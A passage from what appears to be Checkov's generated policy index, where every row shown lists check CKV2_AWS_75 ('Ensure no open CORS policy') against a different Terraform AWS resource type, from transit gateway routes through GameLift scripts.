[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2662 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2663 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2664 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2665 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2666 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2667 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2668 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2669 | CKV2_AWS_75 | resource | aws_ecr_account_setting | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2670 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2671 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2672 | CKV2_AWS_75 | resource | aws_ecr_registry_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2673 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2674 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2675 | CKV2_AWS_75 | resource | aws_ecr_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2676 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2677 | CKV2_AWS_75 | resource | aws_ecr_repository_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2678 | CKV2_AWS_75 | resource | aws_ecrpublic_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2679 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2680 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2681 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2682 | CKV2_AWS_75 | resource | aws_ecs_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2683 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2684 | CKV2_AWS_75 | resource | aws_ecs_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2685 | CKV2_AWS_75 | resource | aws_ecs_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2686 | CKV2_AWS_75 | resource | aws_ecs_task_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2687 | CKV2_AWS_75 | resource | aws_ecs_task_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2688 | CKV2_AWS_75 | resource | aws_efs_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2689 | CKV2_AWS_75 | resource | aws_efs_backup_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2690 | CKV2_AWS_75 | resource | aws_efs_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2691 | CKV2_AWS_75 | resource | aws_efs_file_system_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2692 | CKV2_AWS_75 | resource | aws_efs_mount_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2693 | CKV2_AWS_75 | resource | aws_efs_replication_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2694 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2695 | CKV2_AWS_75 | resource | aws_eip | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2696 | CKV2_AWS_75 | resource | aws_eip_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2697 | CKV2_AWS_75 | resource | aws_eip_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2698 | CKV2_AWS_75 | resource | aws_eks_access_entry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2699 | CKV2_AWS_75 | resource | aws_eks_access_policy_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2700 | CKV2_AWS_75 | resource | aws_eks_addon | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2701 | CKV2_AWS_75 | resource | aws_eks_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2702 | CKV2_AWS_75 | resource | aws_eks_fargate_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2703 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2704 | CKV2_AWS_75 | resource | aws_eks_node_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2705 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2706 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2707 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2708 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2709 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2710 | CKV2_AWS_75 | resource | aws_elasticache_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2711 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2712 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2713 | CKV2_AWS_75 | resource | aws_elasticache_replication_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2714 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2715 | CKV2_AWS_75 | resource | aws_elasticache_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2716 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2717 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2718 | CKV2_AWS_75 | resource | aws_elasticache_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2719 | CKV2_AWS_75 | resource | aws_elasticache_user_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2720 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2721 | CKV2_AWS_75 | resource | aws_elasticsearch_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2722 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2723 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2724 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2725 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2726 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2727 | CKV2_AWS_75 | resource | aws_elb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2728 | CKV2_AWS_75 | resource | aws_elb_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2729 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2730 | CKV2_AWS_75 | resource | aws_emr_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2731 | CKV2_AWS_75 | resource | aws_emr_instance_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2732 | CKV2_AWS_75 | resource | aws_emr_instance_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2733 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2734 | CKV2_AWS_75 | resource | aws_emr_security_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2735 | CKV2_AWS_75 | resource | aws_emr_studio | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2736 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2737 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2738 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2739 | CKV2_AWS_75 | resource | aws_emrserverless_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2740 | CKV2_AWS_75 | resource | aws_evidently_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2741 | CKV2_AWS_75 | resource | aws_evidently_launch | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2742 | CKV2_AWS_75 | resource | aws_evidently_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2743 | CKV2_AWS_75 | resource | aws_evidently_segment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2744 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2745 | CKV2_AWS_75 | resource | aws_finspace_kx_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2746 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2747 | CKV2_AWS_75 | resource | aws_finspace_kx_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2748 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2749 | CKV2_AWS_75 | resource | aws_finspace_kx_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2750 | CKV2_AWS_75 | resource | aws_finspace_kx_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2751 | CKV2_AWS_75 | resource | aws_fis_experiment_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2752 | CKV2_AWS_75 | resource | aws_flow_log | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2753 | CKV2_AWS_75 | resource | aws_fms_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2754 | CKV2_AWS_75 | resource | aws_fms_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2755 | CKV2_AWS_75 | resource | aws_fms_resource_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2756 | CKV2_AWS_75 | resource | aws_fsx_backup | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2757 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2758 | CKV2_AWS_75 | resource | aws_fsx_file_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2759 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2760 | CKV2_AWS_75 | resource | aws_fsx_ontap_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2761 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2762 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2763 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2764 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2765 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2766 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2767 | CKV2_AWS_75 | resource | aws_gamelift_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2768 | CKV2_AWS_75 | resource | aws_gamelift_build | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2769 | CKV2_AWS_75 | resource | aws_gamelift_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2770 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2771 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2772 | CKV2_AWS_75 | resource | aws_gamelift_script | Ensure no open CORS policy | Terraform | 